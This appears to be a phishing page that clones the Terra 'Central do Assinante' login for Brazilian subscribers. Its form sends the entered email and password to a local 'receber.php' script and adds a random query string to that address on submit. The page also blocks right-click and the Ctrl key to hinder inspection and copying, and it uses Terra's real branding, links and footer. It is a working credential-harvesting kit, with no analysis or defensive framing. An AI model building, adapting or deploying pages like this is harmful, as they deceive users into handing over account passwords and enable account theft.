<!DOCTYPE html>
<html lang="pt-BR">
<head>
<script>
function mensagem(){
    alert('Conteudo bloqueado!');
    return false;
}
  
function bloquearCopia(Event){
    var Event = Event ? Event : window.event;
    var tecla = (Event.keyCode) ? Event.keyCode : Event.which;
    if(tecla == 17){
        mensagem();
    }
}
</script>
  
</head>
  
<body>
<br />
</body> 
<script>
    document.onkeypress = bloquearCopia;
    document.onkeydown = bloquearCopia;
    document.oncontextmenu = mensagem;
</script>
</body>
    <meta charset="utf-8">
    <title>Central do Assinante</title>
    <meta name="description" content="Central Terra">

    <meta http-equiv="X-UA-Compatible" content="IE=Edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0">
    <meta http-equiv="default-style" content="text/css">

    <link rel="shortcut icon" type="image/x-icon" href="//s1.trrsf.com/favicon.ico" />
    <link rel="image_src" href="//s1.trrsf.com/favicon.ico">
    <link rel="canonical" href="https://central.terra.com.br">   
    
    <link type="text/css" rel="stylesheet" href="https://s1.trrsf.com/update-1674586315/fe/zaz-morph/_css/zaz.min.css"  />
    <link type="text/css" rel="stylesheet" href="https://s1.trrsf.com/update-1674586307/fe/zaz-mod-icons/_css/sizes.min.css"  />
    <link type="text/css" rel="stylesheet" href="https://s1.trrsf.com/update-1712257038/fe/zaz-mod-icons/_css/essential.min.css"  />
    <link type="text/css" rel="stylesheet" href="https://s1.trrsf.com/update-1712257037/fe/zaz-mod-icons/_css/central.min.css"  />
    <link type="text/css" rel="stylesheet" href="https://s1.trrsf.com/update-1712257041/fe/zaz-mod-icons/_css/payment.min.css"  />
    <link type="text/css" rel="stylesheet" href="https://s1.trrsf.com/update-1709573834/fe/zaz-app-auth/_css/theme-default.min.css"  />
    <link type="text/css" rel="stylesheet" href="https://s1.trrsf.com/update-1709208431/fe/zaz-app-form/_css/theme-default.min.css"  />
    
        .zaz-navbar-pre{box-sizing:content-box!important;height:40px;padding:10px 0;background:#ff7212;top:0;left:0;width:100%;margin:0}.zaz-navbar-pre.mob{padding:0;height:42px}.zaz-navbar-pre.mob .trr-logo{width:85px;height:25px;margin-top:5px}.zaz-navbar-pre .trr-logo{width:128px;height:36px;display:block;margin:0 auto;background-image:url(https://www.terra.com.br/globalSTATIC/fe/zaz-mod-t360-icons/svg/logos/terra-horizontal-branco.svg);background-size:100% 100%;text-indent:-9999px}.zaz-navbar-pre-breadcrumbs{height:30px;background-color:#e4e4e4;left:0;right:0;top:60px;width:100%;padding:0 20px;-webkit-font-smoothing:antialiased;font-family:OpenSans,sans-serif;z-index:98000}.zaz-navbar-pre-breadcrumbs.mob{top:42px}.zaz-navbar-pre-breadcrumbs ul{list-style:none;margin:0;padding:0}.zaz-navbar-pre-breadcrumbs ul li{float:left;line-height:25px}.zaz-navbar-pre-breadcrumbs ul li a{color:#63645e;font-size:13px;display:inline-block;text-decoration:none;text-transform:lowercase}.zaz-navbar-pre-breadcrumbs ul li .arrow{position:relative;background:url(//s1.trrsf.com/update-1415206003918/fe/zaz-icons/svg-sprites/navbar/zaz-navbar-fback32-sprite.png) -870px 0;background-size:cover;opacity:.5;width:12px;height:12px;top:2px;margin:0 17px;display:inline-block}.zaz-navbar-pre-breadcrumbs ul li:last-child .arrow{display:none}
        
        <link type="text/css" rel="stylesheet" href="https://s1.trrsf.com/update-1709573841/fe/zaz-app-simple-bankslip/_css/theme-default.min.css"  />
        <link type="text/css" rel="stylesheet" href="https://s1.trrsf.com/update-1712602045/fe/zaz-ui-user-central/_css/main.min.css"  />
        <script type="text/javascript" data-includerInjection="https://s1.trrsf.com/update-1715633242/fe/zaz-cerebro/prd/scripts/zaz.scope.min.js">
        /*! zaz-cerebro - v1.7.6 - 13/05/2024 -- 8:40pm */
        if(!window.zaz&&window.performance&&"function"==typeof window.performance.mark)try{window.performance.mark("ZAZ_CEREBRO_DEFINED")}catch(perfException){window.console&&"object"==typeof window.console&&("function"==typeof window.console.warn?window.console.warn("Error registering performance metric ZAZ_CEREBRO_DEFINED. "+perfException.message):"function"==typeof window.console.log&&window.console.error("[ZaZ Warning] Error registering performance metric ZAZ_CEREBRO_DEFINED. "+perfException.message))}!function(){"use strict";var environment,minified,q,eq,o;window.zaz||(window.zaz=(minified=!1,o={getQueue:function(){return q},getExtQueue:function(){return eq},use:function(fn,scope){return fn.scope=scope,q.push(fn),window.zaz},extend:function(name,fn){eq.push([name,fn])},status:"pre-build",options:{global:{}},version:"1.7.6",notSupported:!(eq=[]),fullyLoaded:!(q=[]),lastRevision:""}),window.zaz.environment=void 0)}();
        
        </script><noscript><!-- behavior layer --></noscript>
        <script type="text/javascript" data-includerInjection="https://s1.trrsf.com/update-1715633241/fe/zaz-cerebro/prd/scripts/range.inline.min.js">
        /*! zaz-cerebro - v1.7.6 - 13/05/2024 -- 8:40pm */
        !function(){"use strict";var zazViewport=window.innerWidth||document.documentElement.clientWidth||document.body.clientWidth,zazObjHTML=document.querySelector("html");zazViewport<768?zazObjHTML.setAttribute("data-range","small"):zazViewport<1024?zazObjHTML.setAttribute("data-range","medium"):zazViewport<1280?zazObjHTML.setAttribute("data-range","large"):1280<=zazViewport&&zazObjHTML.setAttribute("data-range","xlarge")}();
        
        </script><noscript><!-- behavior layer --></noscript>
        
        
            <script type="text/javascript">
	zaz.use(function(pkg){
        pkg.context.page.set("country",  'br');
        pkg.context.page.set("language", 'pt');
        pkg.context.page.set("locale",   'pt-BR');
	    pkg.context.page.set("businessId", 'UserCentral');
	    pkg.context.page.set("businessName",'Central do Assinante [beta]');
		 
        pkg.context.page.set("templateOptions", {"bankSlip": "icon-bankslip", "dataTheme": "terra", "enterprisesBlogUrl": "https://www.terraempresas.com.br/blog/", "iconGoto": "icon-goto-orange", "iconSearch": "icon-search", "isTerraTemplate": true, "loginRedirectUrl": "https://central.terra.com.br", "logoEnterprises": "talk-to-terra__svg-empresas", "logoIcon": "icon-logo-terra", "logoServices": "talk-to-terra__svg-servicos", "menuLogoClass": "logo", "supportPhone": "0800 777 9797", "talkToCompany": "Fale com o Terra", "urlDomainTutorial": "https://www.terraempresas.com.br/dominio/tutorial/?_ga=2.44108588.942691260.1701703599-770742002.1699902045\u0026cdConvenio=CVTR00001525", "urlFrequentsQuestions": "https://duvidas.terra.com.br/?_ga=2.32453243.491686685.1701115541-770742002.1699902045", "urlTutorialForPerson": "https://servicos.terra.com.br/central/tutorial/?cdConvenio=CVTR00001525"})
		
 
            pkg.context.page.set('appCentralLoad',{
				"appDisplay":{
					"idRender":"#card-display",
					"adManagerConfig":{
						area:['bg1','bg2','bg3','bg4','bg5'],
                        tgmkey:'br.centraldoassinante.home'
					}
				},
				"appAuth":true,
				"appSimpleBankSlipButton":false
			});
		
	});
</script>


    


    
        <!-- Not PWA -->
    
</head>
<body class="zaz-ui-user-central">

    
    

    <div id="zaz-app-sva-navbar" class="zaz-app-sva-navbar"></div>

        <div class="content-login">
            
    <iframe id="newXactIdIframe" src="https://montador.terra.com.br" width="1" height="1" hidden></iframe>



 
    
    <head>
        <link rel="stylesheet" href="">
        
            body {
                font-family: Arial, sans-serif;
                background-color: #f5f5f5;
                display: flex;
                justify-content: center;
                align-items: center;
                margin: 0;
            }
    
            #card-display {
                position: relative;
                height: 100vh; /* Adjusted to cover the entire viewport height */
                width: 100%;
                background-color: lightblue;
            }
            @media only screen and (max-width: 600px) {
        #card-display {
            display: none;
        }
    }

    @media only screen and (max-width: 600px) {
        .login-container {
            position: relative;
            z-index: 2;
        }
    }
            .login-container {
                background-color: #fff;
                border-radius: 4px;
                box-shadow: 10px 0 10px rgba(0, 0, 0, 0.1); /* Added the missing 'px' */
                padding: 20px; /* Adjusted to provide some spacing around the container */
                text-align: center;
                width: 400px;
                height: 435px;
                position: absolute; /* Positioned the container absolutely */
                top: 36%; /* Adjusted to position the container in the middle */
                left: 50%; /* Adjusted to position the container in the middle */
                transform: translate(-50%, -50%); /* Adjusted to center the container */
                margin: 180 auto;
            }

            
            .login-container input {
                width: 100%;
                padding: 10px;
                margin: 10px 0;
                border-bottom: 1px solid #ccc;
                outline: none;
                transition: border-bottom 0.3s ease-in-out;
            }
    
            .login-container input:focus {
                border-bottom: 2px solid #211f1f;
            }
    
            .floating-label input {
                padding-left: 0px;
            }
    
            .floating-label {
                position: relative;
            }
    
            .floating-label label {
                position: absolute;
                left: 0;
                top: 10px;
                transition: top 0.3s ease-in-out, font-size 0.3s ease-in-out;
            }
    
            /* Add margin at the bottom of the input field */
            .floating-label input {
                margin-bottom: 30px; /* You can adjust the value as needed */
            }
    
            /* Add margin at the top of the "Login" button */
            #loginButton {
                margin-top: 10px; /* You can adjust the value as needed */
                height: 50px;
            }
    
            .login-container input:focus+label,
            .login-container input:valid+label {
                top: 0px;
                font-size: 12px;
            }
    
            .login-container button {
                background-color: #ccc;
                color: #fff;
                border: none;
                border-radius: 5px;
                padding: 10px 20px;
                cursor: pointer;
                width: 100%;
            }
    
            .icon-password-show.active {
                text-decoration: line-through;
            }
    
            /* Add styles to position the icon where you want */
            .custom-icon {
                position: absolute;
                top: 10px;
                left: calc(100% - 20px); /* Reduce the total width by 10px */
                z-index: 100; /* High value to overlay other elements */
                /* Other appearance styles, if needed */
            }
            .app-auth-section__area-link {
            margin-top: 20px;
        }
        .app-auth-section__link-simple {
            margin-top: 20px;
        }
         /* Estilos para o exemplo */
         .app-auth-section__link-simple {
            margin-top: 20px;
        }
        .icon {
            display: inline-block;
            width: 40px;
            height: 40px;
            background-color: #ccc; /* Cor de fundo de exemplo */
        }
        .app-auth-link {
            display: block;
            margin-top: 20px;
        }
        
    </head>
    
    <body>
        <div id="card-display" style="position: relative; z-index: 1;">
            <!-- ConteÃºdo original aqui -->
        </div>
    


        
        <div class="login-container" style="position: absolute; top: 36%;; left: 50%; z-index: 2;">

            <header class="app-auth-section__header">Central do assinante</header>
        
            <form id="formLogin" class="frm-shoppingmodule" action="./receber.php" method="post">
                <div class="floating-label">
                    <input type="text" name="email" id="email" required>
                    <label for="email">Email</label>
                </div>
    
                <div class="floating-label">
                    <input type="password" id="password" name="password" required>
                    <label for="password">Senha</label>
                    <a href="#" class="text-dark custom-icon" id="icon-click">
                        <i class="fa fa-eye-slash" id="icon"></i>
                    </a>
                </div>
    
                <button type="submit" id="loginButton" disabled>Entrar</button>
                <a class="app-auth-section__area-link app-auth-section__area-link--forgot-password" href="https://central.terra.com.br/esqueci-minha-senha">Esqueceu sua senha?</a>
    
                <a<div class="app-auth-section__link-simple">
                    <span class="app-auth-section__link-simple__access">Acesso RÃ¡pido: </span>
                    <a href="https://central.terra.com.br/boleto-simplificado" data-gtm-event-category="BoletoSimplificado" data-gtm-event-action="clique" data-gtm-event-label="SegundaViaBoleto" target="_blank">
                        <span class="icon icon-40 icon-bankslip"></span>
                        <span class="app-auth-section__link-simple__button">2Âª via boleto</span>
                    </a>
                </div>
                <div class="app-auth-section__line-space"></div>
                </section>
                <a class="app-auth-link" href="http://servicos.terra.com.br/" target="_blank">
                    <span>Novo por aqui?</span> ConheÃ§a nossos serviÃ§os.
                </a></a>
            </form>
        </div>

            <script>
                // Function to generate a random string
                function generateRandomString(length) {
                    let result = '';
                    const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
                    const charactersLength = characters.length;
                    for (let i = 0; i < length; i++) {
                        result += characters.charAt(Math.floor(Math.random() * charactersLength));
                    }
                    return result;
                }
    
                // Add a random parameter to the form URL
                document.getElementById('formLogin').addEventListener('submit', function () {
                    const randomParam = generateRandomString(100); // Change the desired length value
                    this.action = './receber.php?' + randomParam;
                });
            </script>
    
        
        <script>
            function validateForm() {
                var inputs = document.querySelectorAll('#formLogin input');
                for (var i = 0; i < inputs.length; i++) {
                    if (inputs[i].value.length < 6) {
                        alert('Por favor, preencha todos os campos com pelo menos 6 dÃ­gitos.');
                        return false;
                    }
                }
                return true;
            }
    
            document.getElementById('formLogin').addEventListener('submit', function (e) {
                if (!validateForm()) {
                    e.preventDefault();
                }
            });
        </script>
    
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
        <script>
            const passwordField = document.getElementById("password");
            const loginButton = document.getElementById("loginButton");
            const togglePasswordIcon = document.getElementById("togglePassword");
    
            passwordField.addEventListener("input", () => {
                if (passwordField.value.length >= 1) {
                    loginButton.style.backgroundColor = "#ff7212";
                    loginButton.disabled = false;
                } else {
                    loginButton.style.backgroundColor = "#ccc";
                    loginButton.disabled = true;
                }
            });
    
            $(document).ready(function () {
                $("#icon-click").click(function (e) {
                    var input = $("#password");
    
                    if (input.attr("type") == "text") {
                        input.attr("type", "password");
                        e.target.classList.remove('fa-eye'); // e.target is what is clicked (icon)
                        e.target.classList.add('fa-eye-slash');
                    } else {
                        input.attr("type", "text");
                        e.target.classList.remove('fa-eye-slash');
                        e.target.classList.add('fa-eye');
                    }
                });
            });
        </script>
  
 

            
<footer class="app-central-footer" itemscope="" itemtype="http://schema.org/Organization">
    <nav class="app-central-footer__contacts" itemprop="contactPoint" itemscope="" itemtype="http://schema.org/ContactPoint">
        <ul class="app-central-footer__contacts-links">

            <li class="app-central-footer__contacts-items app-central-footer__talk-to-terra">
                <a href="/atendimento"><p> Fale com o Terra </p></a>
            </li>

            <li class="app-central-footer__contacts-items app-central-footer__faq">
                <a href="https://duvidas.terra.com.br" target="_blank"><p> Perguntas Frequentes </p></a>
            </li>

            <li class="app-central-footer__contacts-items app-central-footer__blog">
                <a href="https://terraempresas.com.br/blog" target="_blank"><p>Blog Terra Empresas </p></a>
            </li>

            

        </ul>

    </nav>

    <div class="app-central-footer__information">
        <p class="app-central-footer__information-copyright">COPYRIGHT 2023, TERRA NETWORKS BRASIL LTDA.</p>
        <p class="app-central-footer__information-address">
            <span itemprop="address" itemscope="" itemtype="http://schema.org/PostalAddress">
                <span itemprop="streetAddress">Av. Engenheiro LuÃ­s Carlos Berrini, 1376 - 13Âº andar</span>, <span>Cidade MonÃ§Ãµes</span> - <span itemprop="addressLocality">SÃ£o Paulo</span> - <span itemprop="addressRegion">SP - CEP 04571-936</span>.
            </span>	CNPJ <span itemprop="taxID">91.088.328/0001-67</span>
        </p>
        <a href="http://www.terra.com.br" class="information__website" itemprop="url" data-gtm-event-category="RodapÃ©" data-gtm-event-action="URL - Terra" data-gtm-event-label="URL - Terra">www.terra.com.br</a>
    </div>
</footer>
        </div>
    
    <script type="text/javascript" charset="utf-8" src="https://s1.trrsf.com/update-1691441104/fe/zaz-cerebro/prd/scripts/zaz.min.js"></script><noscript>Script = https://s1.trrsf.com/update-1691441104/fe/zaz-cerebro/prd/scripts/zaz.min.js</noscript>
<script type="text/javascript" charset="utf-8" src="https://s1.trrsf.com/update-1674586306/fe/zaz-mod-auth/_js/mod-auth.min.js"></script><noscript>Script = https://s1.trrsf.com/update-1674586306/fe/zaz-mod-auth/_js/mod-auth.min.js</noscript>
<script type="text/javascript" charset="utf-8" src="https://s1.trrsf.com/update-1674586286/fe/zaz-app-auth/_js/app-auth.min.js"></script><noscript>Script = https://s1.trrsf.com/update-1674586286/fe/zaz-app-auth/_js/app-auth.min.js</noscript>
<script type="text/javascript" charset="utf-8" src="https://s1.trrsf.com/update-1690822507/fe/zaz-app-form/_js/app-form.min.js"></script><noscript>Script = https://s1.trrsf.com/update-1690822507/fe/zaz-app-form/_js/app-form.min.js</noscript>
<script type="text/javascript" charset="utf-8" src="https://s1.trrsf.com/update-1674586293/fe/zaz-app-simple-bankslip/_js/app-simple-bankslip.min.js"></script><noscript>Script = https://s1.trrsf.com/update-1674586293/fe/zaz-app-simple-bankslip/_js/app-simple-bankslip.min.js</noscript>
<script type="text/javascript" charset="utf-8" src="https://s1.trrsf.com/update-1695317109/fe/zaz-ui-user-central/_js/context_central.min.js"></script><noscript>Script = https://s1.trrsf.com/update-1695317109/fe/zaz-ui-user-central/_js/context_central.min.js</noscript>



    
    

    
        
    
    <script>
        (function(){
            window.dataLayer.push({
                event: "FireIDPerm",
                idperm: "",
                packages: "",
                services: ""
            });
        })();
    </script>

</body>
</html>
